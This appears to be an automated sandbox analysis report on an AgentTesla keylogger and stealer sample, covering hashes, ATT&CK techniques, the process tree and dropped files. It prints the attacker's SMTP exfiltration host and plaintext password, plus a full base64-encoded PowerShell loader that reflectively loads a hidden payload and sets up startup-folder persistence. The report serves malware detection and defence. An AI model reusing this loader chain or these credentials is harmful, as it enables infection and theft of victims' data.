agenttesla | 2a2f86509bacd2fb5f9e972c1f77295d98ac4a620f1ae415a26b9fbc2da964da

General

Target

b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe.vbs
Size

196KB
MD5

154c5d86522ffd7a1cd03d23b3b19ee5
SHA1

41743b862c01c4c8eef124a85560657f58a0a575
SHA256

b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe
SHA512

0179e5323e21f3f34dbbe5ed2930ca25fa8158db15824adae867e9cf74df1a642516aa86910676c06a3f39fe9a7f7296f8f5fa70e7a23b4227535bd0b525a760
SSDEEP

3072:k+az7K1R0Qnfs+7d7mz6WK5jiAQeQ/fCdkoLTIXlcoutMAp5Fvk2:SCXkKIeWK5jFw3CGc9tXp5Fvk2

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.bfm.com.mk
Port:
587
Username:
[email protected]
Password:
Sonja1234@@4321

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.bfm.com.mk
Port:
587
Username:
[email protected]
Password:
Sonja1234@@4321
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cvtres.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cvtres.vbs	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

19 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4444 set thread context of 2200 4444 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

5040 powershell.exe
5040 powershell.exe
4444 powershell.exe
4444 powershell.exe
2200 RegAsm.exe
2200 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 5040 powershell.exe
Token: SeDebugPrivilege 4444 powershell.exe
Token: SeDebugPrivilege 2200 RegAsm.exe

flow	ioc
19	ip-api.com

description	pid	process	target process
PID 4444 set thread context of 2200	4444	powershell.exe	RegAsm.exe

pid	process
5040	powershell.exe
5040	powershell.exe
4444	powershell.exe
4444	powershell.exe
2200	RegAsm.exe
2200	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	2200	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.execmd.exepowershell.exe

description	pid	process	target process
PID 3436 wrote to memory of 4768	3436	WScript.exe	cmd.exe
PID 3436 wrote to memory of 4768	3436	WScript.exe	cmd.exe
PID 4768 wrote to memory of 5040	4768	cmd.exe	powershell.exe
PID 4768 wrote to memory of 5040	4768	cmd.exe	powershell.exe
PID 4768 wrote to memory of 5040	4768	cmd.exe	powershell.exe
PID 4768 wrote to memory of 4444	4768	cmd.exe	powershell.exe
PID 4768 wrote to memory of 4444	4768	cmd.exe	powershell.exe
PID 4768 wrote to memory of 4444	4768	cmd.exe	powershell.exe
PID 4444 wrote to memory of 2200	4444	powershell.exe	RegAsm.exe
PID 4444 wrote to memory of 2200	4444	powershell.exe	RegAsm.exe
PID 4444 wrote to memory of 2200	4444	powershell.exe	RegAsm.exe
PID 4444 wrote to memory of 2200	4444	powershell.exe	RegAsm.exe
PID 4444 wrote to memory of 2200	4444	powershell.exe	RegAsm.exe
PID 4444 wrote to memory of 2200	4444	powershell.exe	RegAsm.exe
PID 4444 wrote to memory of 2200	4444	powershell.exe	RegAsm.exe
PID 4444 wrote to memory of 2200	4444	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3436

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\cvtres.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:4768

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY3Z0cmVzLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\cvtres.ps1' -Encoding UTF8"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5040

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\cvtres.ps1"
3⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4444

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
aa793cce416b24b1b45cbe911b6c703d

SHA1
a77e016e81d6ae709b7ab5c1e36df4511eb1d1b1

SHA256
023705a2b3b769af3cfc86d0cff324f85815afe588f2f094872cbbc3c225b716

SHA512
8d923da770504acee6d1419556eb59c9a3bd7558bc658f33e01f6ecc5fee27fe793857d9d51b68e5049d7ffacf314c8f6f27dfc280d68efb9a2a0e03baefc4c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldjgp2bw.lur.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\cvtres.bat
Filesize
191KB

MD5
2d52ffbf8c9233a4c0e73ddef6f59073

SHA1
19f2b5b063b11d8ed5a61178eb1ba4e1243ae21f

SHA256
90cf988538695ba2552ace7664b3badb2fd2c576803f9335a9961b875ceeac23

SHA512
a5d14be2d9e2e2578761e64e58ca778a8872c821b80b7d14d836bdbb58ae77f8155af8fd4e9b209c47eca95562511c722ad0d3192f0613296d2212ea1211648e

Download Submit
C:\Users\Admin\cvtres.ps1
Filesize
1KB

MD5
6f35158874ea4b14043a77ba49bf342a

SHA1
a2675898e47ae854c2380841acdb9fdbe7b050c1

SHA256
d2e1c1fef3af43c1c672e99d0040f36768a6041ff9d0d3d2d71751b39e4e1d09

SHA512
2696dfdeca5fbde843851588aff2bcf70d13dad9122fbec8b48d2aed066a2794bd39781981b31908343b2aef5f8a716f74bdea19dd49690db1c91930c7013281

Download Submit
C:\Users\Admin\cvtres.vbs
Filesize
196KB

MD5
154c5d86522ffd7a1cd03d23b3b19ee5

SHA1
41743b862c01c4c8eef124a85560657f58a0a575

SHA256
b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe

SHA512
0179e5323e21f3f34dbbe5ed2930ca25fa8158db15824adae867e9cf74df1a642516aa86910676c06a3f39fe9a7f7296f8f5fa70e7a23b4227535bd0b525a760

Download Submit
memory/2200-59-0x00000000066D0000-0x0000000006720000-memory.dmp

Filesize
320KB

Download
memory/2200-57-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/2200-60-0x00000000067C0000-0x000000000685C000-memory.dmp

Filesize
624KB

Download
memory/2200-56-0x0000000074440000-0x0000000074BF0000-memory.dmp

Filesize
7.7MB

Download
memory/2200-53-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2200-61-0x0000000006900000-0x0000000006992000-memory.dmp

Filesize
584KB

Download
memory/2200-62-0x0000000006880000-0x000000000688A000-memory.dmp

Filesize
40KB

Download
memory/2200-63-0x0000000074440000-0x0000000074BF0000-memory.dmp

Filesize
7.7MB

Download
memory/2200-64-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/4444-52-0x0000000005720000-0x000000000572A000-memory.dmp

Filesize
40KB

Download
memory/4444-31-0x0000000074440000-0x0000000074BF0000-memory.dmp

Filesize
7.7MB

Download
memory/4444-32-0x00000000054C0000-0x00000000054D0000-memory.dmp

Filesize
64KB

Download
memory/4444-33-0x00000000054C0000-0x00000000054D0000-memory.dmp

Filesize
64KB

Download
memory/4444-34-0x0000000006410000-0x0000000006764000-memory.dmp

Filesize
3.3MB

Download
memory/4444-58-0x0000000074440000-0x0000000074BF0000-memory.dmp

Filesize
7.7MB

Download
memory/4444-55-0x0000000076E61000-0x0000000076F81000-memory.dmp

Filesize
1.1MB

Download
memory/4444-46-0x0000000007C60000-0x0000000007CF6000-memory.dmp

Filesize
600KB

Download
memory/4444-47-0x0000000006F30000-0x0000000006F52000-memory.dmp

Filesize
136KB

Download
memory/4444-48-0x00000000082B0000-0x0000000008854000-memory.dmp

Filesize
5.6MB

Download
memory/4444-49-0x0000000006780000-0x00000000067E4000-memory.dmp

Filesize
400KB

Download
memory/5040-24-0x0000000007BF0000-0x000000000826A000-memory.dmp

Filesize
6.5MB

Download
memory/5040-23-0x00000000062F0000-0x000000000633C000-memory.dmp

Filesize
304KB

Download
memory/5040-22-0x00000000062C0000-0x00000000062DE000-memory.dmp

Filesize
120KB

Download
memory/5040-25-0x00000000073B0000-0x00000000073CA000-memory.dmp

Filesize
104KB

Download
memory/5040-21-0x0000000005D70000-0x00000000060C4000-memory.dmp

Filesize
3.3MB

Download
memory/5040-11-0x0000000005590000-0x00000000055F6000-memory.dmp

Filesize
408KB

Download
memory/5040-29-0x0000000074440000-0x0000000074BF0000-memory.dmp

Filesize
7.7MB

Download
memory/5040-10-0x0000000005C30000-0x0000000005C96000-memory.dmp

Filesize
408KB

Download
memory/5040-9-0x00000000054F0000-0x0000000005512000-memory.dmp

Filesize
136KB

Download
memory/5040-8-0x0000000005600000-0x0000000005C28000-memory.dmp

Filesize
6.2MB

Download
memory/5040-7-0x0000000002F00000-0x0000000002F10000-memory.dmp

Filesize
64KB

Download
memory/5040-6-0x0000000074440000-0x0000000074BF0000-memory.dmp

Filesize
7.7MB

Download
memory/5040-5-0x0000000002F10000-0x0000000002F46000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads